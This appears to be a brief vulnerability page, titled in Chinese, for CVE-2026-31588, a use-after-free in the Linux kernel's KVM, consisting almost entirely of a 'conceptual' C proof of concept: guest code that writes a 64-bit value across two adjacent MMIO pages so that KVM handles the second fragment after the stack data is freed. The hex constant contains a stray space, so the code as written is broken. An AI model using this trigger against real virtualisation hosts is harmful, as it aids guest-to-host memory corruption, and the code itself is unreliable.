CVE-2026-31588 Linux内核KVM释放后重用漏洞

/* * Conceptual PoC for CVE-2026-31588 * Guest code to trigger KVM MMIO Use-After-Free. */ #include <stdint.h> // Hypothetical MMIO addresses setup to be page-aligned and adjacent #define MMIO_BASE 0xfff00000 #define MMIO_PAGE_SIZE 4096 void trigger_vulnerability() { // Prepare a split write across two MMIO pages // Write starts at the end of page 1 and ends at the start of page 2 volatile uint64_t *mmio_addr = (volatile uint64_t *)(MMIO_BASE + MMIO_PAGE_SIZE - 4); // Source data is a local variable on the stack uint64_t data_on_stack = 0x DEADBEEFCAFEBABE; // This write triggers the KVM exit. // KVM splits it into two fragments. // If the second fragment is processed after the function returns // (e.g., in a different context), it accesses freed stack memory. *mmio_addr = data_on_stack; }